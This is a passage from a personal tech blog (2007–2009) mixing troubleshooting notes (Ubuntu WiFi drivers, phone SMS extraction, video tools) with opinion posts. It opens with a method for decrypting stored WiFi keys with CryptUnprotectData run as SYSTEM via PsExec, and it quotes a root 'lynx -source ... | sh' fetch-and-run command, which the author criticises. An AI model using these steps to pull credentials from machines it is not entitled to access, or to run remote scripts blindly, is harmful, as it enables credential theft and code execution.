Now, there's a catch. If you execute the code above, you'll get an
error like this:


C:\Users\Joe\Desktop>"c:\Python25\python.exe" foo.py
Traceback (most recent call last):
  File "foo.py", line 23, in 
    output =  win32crypt.CryptUnprotectData(pwdHash,None,None,None,0)
pywintypes.error: (-2146893813, 'CryptUnprotectData', 'Key not valid for use in
specified state.')

You will get that error even if you run cmd.exe as an administrator. Here's where you need to know a bit about Windows that, as a Windows n00b, I didn't know: the LocalSystem account is different from the administrator privilege. In order to run cmd.exe with the LocalSystem account, you need to install a Microsoft package called PsTools. Inside PsTools a program called PsExec, which is a little bit like sudo on Un*x. Just download the zip linked at the bottom of the Microsoft TechNet page above and unzip it somewhere where you can find it.

To use PsExec, open cmd.exe as an administrator (open the start menu in the bottom-left of your screen, type cmd.exe into the search box, and press Ctrl+Shift+Enter to run it as an admin). Hit "continue" on the User Account Control dialog box that opens. In the command shell that opens, navigate to the directory where you unzipped PsTools. Now run "psexec.exe /s /i cmd.exe". After you agree to PsTools's EULA, PsTools should open a new cmd.exe shell window
running as LocalSystem.

Now, in that new command shell, navigate your way to wherever you saved the above python script and run it:


c:\Users\Joe\Desktop>c:\Python25\python.exe foo.py
hex: (the hex of the wep/wpa/whatever key)
ascii: (the ascii of the same, which is hopefully printable)

Enjoy. And switch to Linux as soon as you possibly can.

Ubuntu fail

2009-06-20T11:19:00.000-07:00

L.'s laptop takes 10-15 minutes to go from powered-off to ready to browse the web. I volunteered to put a Linux partition on it. Which was of course the usual carnival of errors:

The laptop, a Toshiba Satellite M45, wouldn't recognize either of the two CDs (a Debian netinst or a Ubuntu LiveCD) that I inserted into the drive. It would just merrily boot Vista for ten minutes (unless I held down the power button and tried not to think about blowing the drive.)
Netboot from my Debian box worked, and was surprisingly easy -- you just install tftpd-hpa server, add "filename 'pxeboot.0'" to the DHCP server config (I did have to switch from the "dhcp" package to the "dhcp3-server" package for reasons that are not clear to me. Why does Debian even have two different DHCP servers? Sigh), and change a few other things. These instructions were useful.
Ubuntu would load the bootloader and the install/rescue screen, but after I picked any option, I'd see the kernel loading messages and then get a black screen. Oops.
I tried Debian instead, but that had the same problem.
I tried using my USB-SD dongle as a USB boot device, but the Satellite didn't support those.
Eventually, I hit on the idea of hitting Fn+F5 to iterate the display outputs after the screen went black during the netboot. That did work.
The NTFS resize process failed --- it turned out that the partition was flagged dirty (because of my hold-down-power-until-Vista-gives-up trick). ntfsresize told me to run chkdsk /f, but I assumed that I would need the administrator password for that, which I didn't have and couldn't easily get (I could call L., but she was at the hospital -- she might have had her arm most of the way into someone's colon when I did.) Fortunately, rebooting into windows and shutting down normally fixed it.
Installation thereafter without much of a hitch. I couldn't shrink the NTFS partition as much as I'd like (ntfsresize complained about some feature not being supported), but I managed to squeeze enough space out of it.

I rebooted, and it worked! Even the wifi card worked! I wrote to Z., telling him how awesome Ubuntu was, because on Debian I had had to write a shell script to get my encrypted WiFi connection to work.

Of course, I spoke too soon. I must have had the Ethernet cable still plugged in (or maybe it worked for purely spurious reasons), but the wifi card promptly stopped working. There was still a list of networks in the menu, but I couldn't connect to mine. If I typed "iwlist wlan0 scan" at a root prompt, I got nothing. If I typed "iwconfig" at a root prompt, wlan0's entry said "encryption key: off", even though I'd typed it into the box. (Oh, and the SSID was blank, too.)

Ubuntu had asked when I first logged in if I wanted to install a proprietary driver (madwifi) for the Atheros wifi card. No, I didn't. Now I did. Where did that icon go? It was in the menu. Googling turned up a post that said to try "System > Proprietary Drivers". But I don't _have_ a system menu. Oh, in Xubuntu (which I chose to ease the load on the laptop), System is under Applications, and "Proprietary Drivers" is now "Hardware Drivers". OK, there's the list. I'll click "Activate" and...

...nothing. The button registers the click event, and the window freezes. Covering it with another window and then moving that window away leaves a blank spot -- the app is completely wedged. Several minutes of waiting did nothing, so I clicked the close box, and Ubuntu eventually asked me if I wanted to kill it. I tried this a few more times, to no avail.

So, what did that app do underneath? Could I do it myself? I tried installing the driver packages by hand (linux-restricted-modules and madwifi-tools) and blacklisting ath5k in /etc/modprobe.d/blacklist, but all that did was convince the system that the card didn't exist.

OK, I thought, maybe it's a permissions issue. I could run "Hardware Drivers" as root, but I have no idea how to launch it from the command line. Just from the menu. So I thought I'd log in to the GUI as root.

Except that gdm was configured to prohibit that. I'm sure I could have reversed that with another several minutes on Google, but I thought that it would be easier just to figure out what the app was called. I ran ps -auxw, and found "/usr/bin/python /usr/bin/jockey-gtk", which appeared after I opened "Hardware Drivers". I ran _that_ as root, clicked "activate" and...success! The wifi card started working again.

As they say, Linux is only free if your time has no value.

If you need to do named entity recognition

2009-06-18T16:43:00.001-07:00

Try this: http://nlp.stanford.edu/software/CRF-NER.shtml

Internets win

2009-06-18T16:37:00.000-07:00

A friend from college sends the following:

"How long until they release a handheld device whose entire purpose is to receive Twitter feeds and browse Facebook? I know--they can call it the SketchPad."

I literally LOLed over that one.

(inb4 techcrunch tablet)

mod_python tip of the day

2009-06-18T16:35:00.002-07:00

If your apache starts segfaulting in mod_python, check for an infinite recursion.

MySQL replication gotcha

2009-06-18T16:35:00.001-07:00

If you set up mysql replication for backups, resist the temptation to use a very long password. The slave will silently truncate it when storing it and you'll get auth failures. You can see if it did this by looking at master.info in the mysql datadir.

Lol energy fail

2009-06-18T16:15:00.000-07:00

Wow: the U.S. wastes more electricity on transmission losses than it generates from coal and hydropower combined.

Internet Explorer 8 is awesome

2009-06-18T16:12:00.001-07:00

Not only does it actually stick to standards, it even has a Firebug-like debugger built in. Of course, I'll still use Firefox, but it's nice to have for cross-platform checks.

Music fail

2009-06-18T16:06:00.000-07:00

Why are linux music players so awful? Somehow, people have managed to
make them _worse_ over the years, rather than better. Some examples:

I thought that playing through the web would be cool. There's a PHP app called jinzora that purports to do that. After wrestling with the installer for ages while it repeatedly ignored my "no database; use filesystem" settings until I relented and switched to sqlite, it dumped me at a page saying "Security breach detected". Plonk.

OK, I'll install SSHFS and use XMMS. At least I can understand _that._ But XMMS no longer installs, due to some Debian package screwup involving an ancient version of GTK -- probably because XMMS is no longer maintained. OK, here's something called XMMS2. Wait, that doesn't even bring up a GUI! Apparently, they've made it so abstract that you have to figure out how to bring that up _separately_. Plonk.

Oh, here's something called "bmpx", which is _also_ supposed to be a successor to XMMS.


 $ bmpx

** (bmpx:4210): CRITICAL **: DBus Error: dbus-launch failed to autolaunch D-Bus session: Autolaunch error: X11 initialization failed.

bmpx: Couldn't connect to session bus: dbus-launch failed to autolaunch D-Bus session: Autolaunch error: X11 initialization failed.

Er, WTF? Plonk.

I'm getting too old for this stuff.

Forget it. My music player was YouTube, and it's going to stay YouTube.

Update: The package "beep-media-player" actually works and has most of the
functionality of XMMS ca. 2001. I can even almost forgive the
light-blue on very-light-blue color scheme.

Watchdogs

2009-06-18T15:59:00.001-07:00

I have a computer with a dodgy onboard ethernet card.* It used to be that it would fail every year or so, printing a bunch of messages like this to /var/log/messages:


May 19 04:34:01 tashtego kernel: NETDEV WATCHDOG: eth0: transmit timed out
May 19 04:34:01 tashtego kernel: sky2 hardware hung? flushing

These days, it does that a lot more often. I ought to replace it, but since it's just (ha!) a backup box, I'm not very inclined. I had an equally dodgy solution: a watchdog script. Now you can have it, too:


#!/bin/sh
logger user.info "batman, robin here. monitoring network..."
wget --spider -q  http://www.harvard.edu
if [[ $? != 0 ]] ;  then
   logger user.warn "holy flapjacks, batman, harvard timed out!"
   sleep 60;
   wget --spider -q  http://www.mit.edu
   if [[ $? != 0 ]] ;  then
sleep 30;
logger user.warn "holy bran muffins batman, so did mit!"
wget --spider -q  http://www.google.com
if [[ $? != 0 ]] ;  then
    logger user.err "holy s---, batman, google is down too. I'm rebooting!"
    /sbin/reboot
    logger user.err "batman, reboot happened with status $? ; wtf?"
fi
   fi
fi
logger user.info "oh, we're fine..."

This is not an elegant solution by any stretch of the imagination, but it does the job. I trigger it from root's cron every five minutes, like this:

0,5,10,15,20,25,30,35,40,45,50,55 * * * * /root/watchdog.sh



* I'm sure it's not made any longer, but if you're curious:

02:00.0 Ethernet controller: Marvell Technology Group Ltd. 88E8053 PCI-E Gigabit Ethernet Controller (rev 19)
Subsystem: Giga-byte Technology Marvell 88E8053 Gigabit Ethernet Controller (Gigabyte)

Nostalgia win

2009-06-18T15:52:00.000-07:00

A blast from the past, courtesy the NY Times:
http://www.nytimes.com/2001/03/01/technology/state-of-the-art-putting-a-new-soul-in-your-pc.html?partner=rssnyt&emc=rss&pagewanted=all

In 2001, Ximian was a big deal. At least, it was a big deal on Slashdot. (One more college habit I've managed to kick.) This article describes the carefree, freewheeling environment of the bubble days, when you could expect random people on the Internet to su to root and source a shell script from a web page into their computer:

# lynx -source http://go-gnome.com | sh

For you non-nerds, this is the computer equivalent of taking a syringe from a random stranger and jabbing it into your arm. Ximian went out of business a long time ago, and go-gnome.com is long dead, but you can see the old shell script here.

Uptime fail

2009-06-18T15:46:00.000-07:00

On Tuesday, I knew something was amiss when my ssh sessions on barillari.org suddenly stopped echoing. Unfortunately, I was 200 miles away at the time. I called Z., who kindly checked the cables and hit the reboot switch, but it remained unpingable. So much for a 400+ day uptime.

When I came to check it out, I discovered that I must have upgraded the kernel at some point during the year-plus period it was switched on. The system booted the upgraded kernel which for some reason renamed all of the drives from /dev/hd* to /dev/sd*. This freaked out grub, which couldn't find /dev/hda1. I bypassed that by hitting 'e' on the grub screen and changing root=/dev/hda1 to root=/dev/sda1. When the system booted, the drive-mounting process (or maybe it was fsck) freaked out again, because all of the fstab entries were wrong. Fortunately, it let me enter the root password, fix the fstab entries, and boot the machine. (The kernel upgrade also reordered the drives, so hdc became sdb. Gag.) I'm still not sure what brought the system down to begin with, but if there's a lesson in this, it's to never upgrade your kernel ever.

(Man, I remember the days when I used to compile my own kernel. The things that one puts up with when one is younger...)

Dragging data kicking and screaming out of your Motorola Maxx Ve

2009-06-18T15:07:00.000-07:00

I have a Verizon-branded Motorola Maxx Ve. It does the basics just fine, except that it has a few problems, for which I have (sort-of) solutions:

If the phone gets wet, it might short out the volume button, leaving the phone unresponsive to input. When this happened to me, none of the buttons worked except the volume switch. If I pressed it, the volume would slowly sink to mute, unless I pressed and held "louder" to fight it. I managed to fix this, but inelegantly -- I snapped off a piece of the housing around the volume control with a screwdriver, cleaned the contacts, and snapped the piece back into place. This was inelegant, but it did work.
If you want to transfer a ringtone via bluetooth, you may have to change its extension from ".mp3" to ".qcp" to get around a Verizon-imposed restriction.
It's not easy to get data out of the Maxx. BitPim doesn't support the Maxx directly. But there is a workaround. Using version 1.06 in Debian, plug the phone into the computer with a standard USB connector, open the settings dialog in BitPim, tick "Read Only" and set "phone" to "other CDMA phone". Click "Browse" next to "Com port" and pick "USB Device - Vendor Motorola PCS, Product #2B24 (Interface #00)." Close the settings dialog. Most likely, BitPim will complain that it can't detect your phone. That's fine. Under the "View" menu, make sure "view filesystem" is checked. Click "Filesystem" in the left-hand pane, and click the triangle next to the root folder in the pane that appears. If you get an error relating to USB permissions, that means that you don't have access to the USB port. You could figure out how to grant this, or you could be lazy and insecure like me and just run bitpim as root. Bitpim should turn on its "busy" light and put "Reading phone file system" in the status bar. About 30 seconds later, it should show you the phone's filesystem. To get your SMS messages, go to /brew/mod/syncom2. Right-click the folder "msging" and choose "backup entire tree". Some minutes later, the system will ask you to save a zip file.
Once you have the zip file with the messages, unzip it. The single-letter folders inside contain your SMS messages: d for drafts, i for inbox, o for outbox, s for saved, and I'm not sure what w is. The messages are encoded in some odd format which inserts a NUL between every adjacent pair of characters (this makes the strings command fail); if you just want the text, pipe the .env files through tr to remove the NULs (cat 01.env | tr -d '\00'). index/mb.idx also has the messages, but it truncates them, so if you want the full messages, look at the .env files.
The data files for the notepad and the calendar apps are in /brew/mod/rm_planner/tools/notepad and /brew/mod/rm_planner/tools/calendar. I have no idea how to decode the date format in the calendar app, but I'm just glad to have a copy of the data.

mean reversion

2009-06-18T15:02:00.000-07:00

I used to blog here: http://barillari.org/blog. It was a cool setup: I used Blosxom in html-generation mode so that the posts were all static web pages, which meant no database, no scripting language, and no difficulty in porting to a new server. I never did figure out how to make caching work, so it took several minutes to regenerate the blog after each new post, but that didn't matter. I could monitor the traffic! And create graphs of it! Back in the day, Princeton used to put everyone's netid in their computer's hostname, so if you did a reverse-lookup on the IPs visiting, you could even tell who was reading your blog!

Then, sometime in 2007, I had a disk crash. I used the freezer trick (put the drive in a freezer, plug it back in, pray), which worked, but I must have forgotten to copy the heavily hacked blosxom script. I think I also forgot the scripts that generated the photo galleries at http://barillari.org/photos. In any event, I never did have the time/inclination to fix either.

That said, I've fought with enough silly tech problems that I thought I ought to put the solutions where Google can find them. I had to give up all of the cool tracking features of the old blog but, honestly, I can't say that I care. Expect only nerd content here. Enjoy.

How to waste an evening

2007-06-23T20:12:00.000-07:00

One of a series on my
continuing
adventures in
computer
drama.

I thought I’d take a few minutes to upload this video of the Harvard
Law School building-moving
project to YouTube. As
usual, the project stretched into three or four hours, complete with
the usual triumvirate of poorly-documented software, inexplicable error
messages, and mysterious crashes.

First, the fun part:

There are also photos.

Now, the geeky part. If you’re not a computer nerd, the rest of this
post may bore you.

I wanted to concatenate a bunch of videos I took with my camera,
rotate the ones that I took at a 90 degree angle, strip out a few
seconds of chaff, and append a title card to each end. And I wanted to
speed them up. It’s impressive to see a house creep down a street at
all, but on the Internet, no-one wants to spend more than a minute on
it.

I settled for concatenating the videos. (And speeding them up.) Here’s
what actually worked, after several zillion different things that
didn’t:

Use transcode on Linux to concatenate

the AVI files together. (Concatenating them with cat
and running them through mencoder is a bad idea
(despite what some may
suggest
) — it produced a file that crashed most of other programs I tried
to run on it. Concatenation is easy: avimerge -o out.avi -i in1.avi in2.avi in3.avi …

Use VirtualDub” to speed up the

video. Go to Video->Frame Rate. Click “Change to ___ frames per
second” and set that to some multiple of the original frame rate (I
used 10, so 15 fps became 150 fps). To ensure that the file is not
insanely large, you also have to decimate the video. Click “Decimate
by ___” and fill in the multiple of the frame rate you used (10, in
this case.) N.B.: transcode is a Linux program and
VirtualDub is a windows program, so I needed two boxen just to
upload a video to YouTube! Of course, I’m hardly the first to
rant about this stuff.

Compress the video (Video->Compression), because YouTube only

handles videos up to 100MB. I just picked the first codec that
worked “Indeo® video 5.10”). (I also dropped the audio (Audio->no
output, for a small savings.)

Upload it. This was the easy part.

Now, for the stuff that didn’t work:

VirtualDub has a wonderful interface for a piece of free video

software. It may be the only piece of free video software with a
wonderful interface. The problem with VirtualDub is that it’s
fantastically finicky about the video it will take. This became an
issue when I tried to paste my title cards (15 fps) onto my video
(15.00015 fps). Yes, of course, it refused.

Avidemux, despite being possessed of a…utilitatian (but very

functional) GTK2 interface, didn’t refuse to concatenate video
because of a tiny difference in the frame rate. The problem was that
it would randomly stop opening the videos it produced for reasons I
never understood. I’d use it to append a bunch of mpegs
together. (These were either straight from the camera or from the
camera via VirtualDub, where I’d rotated and cropped them.) It would
happily save the concatenated video to a file…then refuse to open
it. I’d open one of those files, and the application would instantly
quit without so much as an error message.

So I switched back to Linux. I took the clips that I’d rotated and

cropped and tried assembling them using the
cat~~and~~mencoder method. Flop: I couldn’t slice
out the extra frames using the VirtualDub decimator. VirtualDub
would abort 1/3 of the way in and complain that the file was
corrupt. Same deal if I used the avimerge technique.

So I switched to Linux again. My guess as to how to drop the

unnecessary frames didn’t work: I tried the
—frame_interval option to transcode...but
transcode promptly crashed. Like this:


jdb@bigbox:/mnt/max/park$ transcode -i merge.avi --frame_interval 120 -o fast.avi
transcode v1.0.3 (C) 2001-2003 Thomas Oestreich, 2003-2004 T. Bitterberg
(dvd_reader.c) no support for DVD reading configured - exit.
[transcode] (probe) suggested AV correction -D 0 (0 ms) | AV 0 ms | 0 ms
[transcode] auto-probing source merge.avi (ok)
[transcode] V: import format    | MJPG RIFF data, AVI (V=ffmpeg|A=avi)
[transcode] V: import frame     | 320x240  1.33:1
[transcode] V: bits/pixel       | 1.562
[transcode] V: decoding fps,frc | 15.000,0
[transcode] V: Y'CbCr           | YV12/I420
[transcode] A: import format    | 0x1     PCM          [11024, 8,1]  176 kbps
[transcode] A: export           | disabled
[transcode] V: encoding fps,frc | 15.000,13
[transcode] A: bytes per frame  | 733 (734.933333)
[transcode] A: adjustment       | 1936@1000
[transcode] V: IA32/AMD64 accel | sse (sse 3dnowext 3dnow mmxext mmx asm C)
tc_memcpy: using sse for memcpy
[transcode] warning : no option -y found, option -o ignored, writing to "/dev/null"
[transcode] V: video buffer     | 10  320x240
[import_avi.so] v0.4.2 (2002-05-24) (video) * | (audio) *
[import_ffmpeg.so] v0.1.12 (2004-05-07) (video) ffmpeg: MS MPEG4v1-3/MPEG4/MJPEG
[export_null.so] v0.1.2 (2001-08-17) (video) null | (audio) null
[import_avi.so] format=0x1, rate=11024 Hz, bits=8, channels=1, bitrate=176
[transcode] input is mjpeg, reducing range from YUVJ420P to YUV420P
[filter.c] Filter "levels=output=16-240:pre=1" with args (levels=output=16-240:pre=1)
[filter.c] Filter "levels=output=16-240:pre=1" not loaded. Loading ...
[filter.c] Loading (levels=output=16-240:pre=1) ..
[filter_levels.so]: v1.0.0 (2004-06-09) Luminosity level scaler #0
[filter_levels.so]: scaling 0-255 gamma 1.000000 to 16-240
[filter_levels.so]: pre-processing filter
[mjpeg  0xb6953c68]invalid id 23618.38 fps, EMT: 0:05:53, ( 0| 0| 0)
Segmentation fault (core dumped)

(Sharp-eyed readers will note that that command wouldn’t have done
anything anyway, because the computer complained that I didn’t pass a
-y argument, so it wrote its output to /dev/null. I
didn’t notice this until just now. I tested it with an actual
-y argument: -y mjpeg,null (because the input was
mjpeg). That also bombed:


jdb@bigbox:/mnt/max/park$ transcode -i merge.avi --frame_interval 120 -o fast.avi -y mjpeg,null
transcode v1.0.3 (C) 2001-2003 Thomas Oestreich, 2003-2004 T. Bitterberg
(dvd_reader.c) no support for DVD reading configured - exit.
[transcode] (probe) suggested AV correction -D 0 (0 ms) | AV 0 ms | 0 ms
[transcode] auto-probing source merge.avi (ok)
[transcode] V: import format    | MJPG RIFF data, AVI (V=ffmpeg|A=avi)
[transcode] V: import frame     | 320x240  1.33:1
[transcode] V: bits/pixel       | 1.562
[transcode] V: decoding fps,frc | 15.000,0
[transcode] V: Y'CbCr           | YV12/I420
[transcode] A: import format    | 0x1     PCM          [11024, 8,1]  176 kbps
[transcode] A: export           | disabled
[transcode] V: encoding fps,frc | 15.000,13
[transcode] A: bytes per frame  | 733 (734.933333)
[transcode] A: adjustment       | 1936@1000
[transcode] V: IA32/AMD64 accel | sse (sse 3dnowext 3dnow mmxext mmx asm C)
tc_memcpy: using sse for memcpy
[transcode] V: video buffer     | 10 @ 320x240
[import_avi.so] v0.4.2 (2002-05-24) (video) * | (audio) *
[import_ffmpeg.so] v0.1.12 (2004-05-07) (video) ffmpeg: MS MPEG4v1-3/MPEG4/MJPEG
[export_null.so] v0.1.2 (2001-08-17) (video) null | (audio) null
[export_mjpeg.so] v0.0.5 (2003-07-24) (video) Motion JPEG | (audio) MPEG/AC3/PCM
[import_avi.so] format=0x1, rate=11024 Hz, bits=8, channels=1, bitrate=176
[transcode] input is mjpeg, reducing range from YUVJ420P to YUV420P
[filter.c] Filter "levels=output=16-240:pre=1" with args (levels=output=16-240:pre=1)
[filter.c] Filter "levels=output=16-240:pre=1" not loaded. Loading ...
[filter.c] Loading (levels=output=16-240:pre=1) ..
[filter_levels.so]: v1.0.0 (2004-06-09) Luminosity level scaler #0
[filter_levels.so]: scaling 0-255 gamma 1.000000 to 16-240
[filter_levels.so]: pre-processing filter
*** glibc detected *** transcode: malloc(): memory corruption: 0x080f97a8 ***
=== Backtrace: =====
/lib/libc.so.6[0xb7e8682d]
/lib/libc.so.6[0xb7e8726c]
/lib/libc.so.6(__libc_memalign+0xab)[0xb7e8812b]
/usr/lib/libavutil.so.1d(av_malloc+0x2d)[0xb7fc155d]
=== Memory map: ====
<snip>
Aborted (core dumped)

I couldn’t find an equivalent option in mencoder, so I decided that

the rotate-and-crop videos must have been corrupted. I ditched them
and went back to the the raw ones from the camera. After some
fiddling, these actually worked.

In retrospect, I probably could have tried using VirtualDub to

assemble the cropped-and-rotated videos (I didn’t before, because I
was trying to add my title cards, which it wouldn’t do — at least,
I couldn’t produce title cards that it would take.) Ah, well. Next
time.

Uh-oh

2007-02-28T15:26:00.000-08:00

I entered the date for my qualifying exam on my cell phone’s calendar.

I typed in “qual” (7825) using the T9Word (“guess what I’m typing”) option.

Its first guess was “suck”.

I hope that’s not a bad omen.

Unsolicited parenting advice

2007-02-25T10:54:00.000-08:00

The New York Times, today:

IT’S difficult when you have a kid,” the photographer Justine Kurland
said. “If they’re in a good mood, you can get work done. But if
they’re in a bad mood, you’re at their mercy.”

Ms. Kurland is known for photographing people in American wilderness
landscapes, but the scene this day was the rent-stabilized apartment
she shares with Casper, her 2-year-old son, on the Lower East Side of
Manhattan.

Casper, named for the 19th-century German landscape painter Caspar
David Friedrich, had just given a textbook example of one of his
trickier moods. His father, the sculptor and multimedia artist Corey
McCorkle, who lives 10 blocks away, arrived to take him out for
breakfast, but he refused to budge. Instead he sat sobbing, rooted to
the kitchen floor, a stunt Ms. Kurland said he increasingly liked to
pull when she was scouting locations on the extended road trips she
takes for her projects. [continued…]

AAAAAAGH! I can’t even COUNT how many times my parents pulled that
stunt on me as a kid. I wanted to stay home; instead, I got a tour of
the most boring parts of Massachusetts from the backseat of the
car. Every. Single. Weekend. I’m surprised that I didn’t start huffing
paint thinner.

For heaven’s sake, lady: Leave. The. Kid. At. Home. It’s not as though
she’s living in North Dakota — this is NYC. She can find a nanny. And
it’s not as though she has to pay through the nose to avoid the nanny problem
—- she’s an artist, not a politician. Hire an illegal; no-one’s going
to check.

My parents wouldn’t have even needed a nanny —- just park me in
front of the Nintendo, thank you very much. It would have been good
practice for the interminable hours of being parked in front of a
computer in college.

Coincidence?

2007-02-18T12:11:00.000-08:00

September 2000: Enter Princeton University.

September 2001: Shirley Tilghman is installed as the first female president of Princeton University.

September 2004: Enter Harvard University and the Massachusetts Institute of Technology.

December 2004: Susan Hockfield is installed as the first female president of MIT.

February 2007: Drew Faust is selected as the first female president of Harvard University.

I sense a trend.

Kafka on the Charles, Chinese child theft, and the usual sex scandals

2007-01-23T17:52:00.000-08:00

Two stories hit the wires recently: a tiff between Princeton
University and the townies (dog bites man; sky blue) and a child
custody dispute in Tennessee. Both emerge from a little-discussed and
highly sordid corner of college life: University justice.

First, from the Princetonian,
there’s a fight between Princeton University and the local prosecutor
over a case of assault involving some undergraduates. What appears to
be at issue is the University’s judicial process, which the locals
think is interfering with their investigation.

For reasons that also remain unclear, Mercer County
assistant prosecutor William Burns threatened the University with
legal action when it began its internal disciplinary hearing.

“If you continue to demand [that the victim] supply documents
pertaining to any criminal charges, you may be charged with
… Obstructing the Administration of Law [and] Hindering
Prosecution,” Burns was quoted as writing to the University on Jan. 8,
according to a reply letter by University General Counsel Peter
McDonough.

Given that the University judicial process (oops, two judicial
processes —- the Honor Committee, which handles in-class cheating,
and the Committee on Discipline, which handles everything else) has
never been a shining example of transparency, I tend to side with its
critics, whatever their reasons. Unfortunately, the article doesn’t
tell us prosecutor’s beef is.

The alleged assault victim’s lawyer has a more pointed critique:

The recent conflicts between the University and law
enforcement authorities show that current practice of dual,
independent frameworks is unacceptable, Murphy said. Calling the
University disciplinary process an attempt to “resemble a
fully-functional mini-criminal trial,” Murphy said that the
University’s efforts usurped the power of local authorities.

My feelings exactly —- you’ll see why in a moment.

A bigger-deal case just made the national headlines: a Chinese couple
won custody of their daughter after the Tennessee Supreme Court
overturned the decision of a Memphis judge who had awarded custody
to a foster family.

According to the article, the parents, Shaoqiang He, and his wife, Qin
Luo He, fell upon hard times and sent their month-old daughter to live
with another family [editor’s note: WTF?!] temporarily. When they
wanted her back, the other family refused to give her up.

The case spurred the usual complaints about anti-Chinese prejudice in
the judicial system; how it was stacked against foreigners with poor
English; the usual. (Interestingly, half of the Google hits during my
searches on the subject were from English-language versions of Chinese
newspapers.) But that’s not the interesting part. The interesting part
is how the He family’s financial difficulties came
about. According to the AP story:

Anna Mae was born in 1999 shortly after her father, a student at the
University of Memphis, was accused of a sexual assault. He was
ultimately acquitted, but the charge cost him a scholarship and the
student stipend that was his family’s primary source of income.

A 24 January 2002 article from Life magazine provides a bit more detail.

Anna Mae was born on Jan. 28, 1999, into poverty and turmoil. Her father, “Jack” Shaoqiang He, 37 — known around this friendly Southern town as “Mister He” — was a visiting college professor from China who came to the USA on a student visa and was pursuing a doctorate in economics at the University of Memphis.

Here he married “Casey” Qin Luo, 34, a Chinese woman he met through a friend back home. She spoke no English, but she shared his strong faith and love for America, Mister He says. They planned to build a good life together.

But in 1998, when Casey was pregnant with Anna Mae, her husband was charged with assaulting a fellow student. He and the student, a Chinese woman named Xiaojun Qi (pronounced Key), went to a computer lab alone; a week later Qi went to school officials, displayed bruises and said Mister He caused them during a sexual assault.

Mister He vehemently denies the allegation. He says he left the lab feeling uncomfortable after the woman asked him for a $500 loan. But the university dismissed him, his income from the university vanished and his student visa hung on his collegiate appeal.

On Thanksgiving in 1998, the Hes left their one-bedroom apartment and went to the grocery store. They were attacked by several men, and Casey was knocked down. That night she began suffering vaginal bleeding. Her condition worsened until doctors finally, in January, delivered Anna Mae by C-section, one month premature.

With a $12,000 hospital bill, a criminal assault charge and a continuing legal fight to try to get reinstated at the university, the Hes sought help in caring for their baby. Friends at their church suggested a local adoption agency.

Mid-South Christian Services agreed to place the baby in a foster home for three months. They placed her with Jerry and Louise Baker.

One minor point: according to Factiva, the marriage between Shaoqiang
He, 37 and Qin Luo, 33, is listed in the marriages section of the
January 9, 2002 Memphis Commercial Appeal — meaning that the
parents would not have been married at the time of the birth of the
child in four years before, in 1998. Either the Appeal article is
mis-dated (it wouldn’t be the first time), or the Life author has
his timeline wrong (“husband” should have been “future husband.”)

Soon after the Baker family foster placement, the legal wrangling over
the child began. But the interesting part is how they got there: the
University judicial process that prompted the He family to place their
kid in foster care in the first place. It reminded me of a href=“http://www.thefire.org/index.php/article/169.html”>case on the
Foundation for Individual Rights in Education’s website:

A Harvard graduate student has been barred from
continuing his studies because a fellow student accused him of sexual
assault in January of 2002. The student was acquitted on all six
counts of rape and assault by Middlesex Superior Court last August and
his accuser was shown to be fabricating parts of her story at the
trial. Despite this, Harvard has not readmitted him and has not
dropped its own charges against him.

(FIRE, it should be noted, is a pressure group —- if you hadn’t
guessed when you saw that they refer to Harvard as “Kafka on the
Charles.” Not that I disagree with much of what that they do.)

The Boston Globe
and the Harvard
Crimson also
covered the case. As a biographical tidbit, the non-assault didn’t
happen in Child Hall, which is right near where I used to live. It’s
the Gropius-designed wall on the left side of this
photo.
Apologies on the lack of a better picture.

I don’t know what has happened to the student in question, Georgi
Zedginidze. The latest word that I saw was a Crimson columnist blasting
the University’s policy of wrist-slapping convicted rapists while
simultaneously jack-booting the acquitted. The author laments the
“Coalition against Sexual Violence’s” successful demands to eliminate
the right of confrontation from the University judicial process.

Erin O’Connor, who writes about academic excess, had similar complaints about the He case back in 2004:

Had officials at the University of Memphis accorded Shaoqiang He due process, had they held firmly to the tenet that in this country a person is always innocent until proven guilty, he would not have been expelled on the basis of an accusation. He would not have been deprived of his education, he would not have had his career prospects ruined, and he would not have lost his daughter.

[...]

The Hes plan to return to China after the dispute about their daughter is settled.

If they do plan to return, now that they have four children, I wonder
how they’ll skirt the one-child policy? I understand that a lot of
Chinese who intended to go back elect to stay in the U.S. when they
realize that their kids will get the worst of it when they return.

On that note, despite O’Connor’s closing line, Larry Parrish, the lawyer
for the foster family, accused the Hes of engineering the dispute as a
means of staying in America. An href=“http://media.www.dailyhelmsman.com/media/storage/paper875/news/2006/10/13/News/Custody.Battle.Continues.To.Rage-2348600.shtml?sourcedomain=www.dailyhelmsman.com&MIIHost=media.collegepublisher.com”>article
in the University of Memphis’s student newspaper quotes Parrish:

“Jack He is extremely intelligent and very fluent and is a con-artist. He is the best I’ve ever seen,” Parrish said. “He plays on the sympathies of other people. He creates situations that are not real.”

Parrish contended the Hes were using the situation as a way to stay in America. If not for the custody battle the Hes would have been deported, Parrish said.

Parrish also said, “he is the most dishonest witness I have ever seen. That’s why the courts have found him completely without credibility.”

I assume this is the usual character assassination one would expect from
an thorough attorney. Does it lend any credence to the original
charges against He? It’s doubtful: He was cleared by a court of law.

And that’s where the stories converge: in each of these cases, a
University judicial system ignored the verdict of a court of law and
soldiered on, either finding the student guilty or thrusting him into
academic limbo. In the Harvard case, Zedginidze had taken a leave
during the trial, and was all but told not to petition for
re-admission, as Harvard might (if he reapplied) actually find him
guilty of rape and expel him.

According to the Globe, if Zedginidze managed to persuade the
university to schedule a hearing, he’d have no right to confront his
accuser, no right of cross-examination, and no right to an attorney —
in other words, standard practice for the Star
Chamber a University tribunal. The Honor Committee at
Princeton has much the same rules. I’m not sure about the Committee on
Discipline, but I’d be shocked if it were much better.

As for the He case, the articles that I’ve read do not give the
specifics of the University’s sanctions. Was He actually expelled? Was
he “persuaded” to take a leave of absence, as was Zedginidze? Or did
the U. of Memphis just cancel his fellowship? As doctoral students are
generally paid by the University to go to school, the latter would be
a crippling loss. In most fields, if you are paying for a doctorate,
you’re probably being ripped off. There is a quid pro quo, of
course: the students provide fairly cheap labor, which is why schools
(particularly schools of the humanities) admit so many of them. But I
digress — you can read more about that
here.

In any event, one can only be happy that the He family has been
reunited. One wonders how we ended up with a system were
unaccountable-bureaucrat courts can ruin students’ careers (and,
indirectly, break up families) on the basis of allegations that real
courts have found to be baseless.

On the other hand, would Shaoqiang He have fared better, had he not
been in tried by the University of Memphis’s tribunal, but in his
native China?

The awful part is that I’m not sure.

Bleg! Bleg! Bleg!

2007-01-16T11:24:00.000-08:00

My brother Davide’s soap opera “The Gates” made the semifinal round of
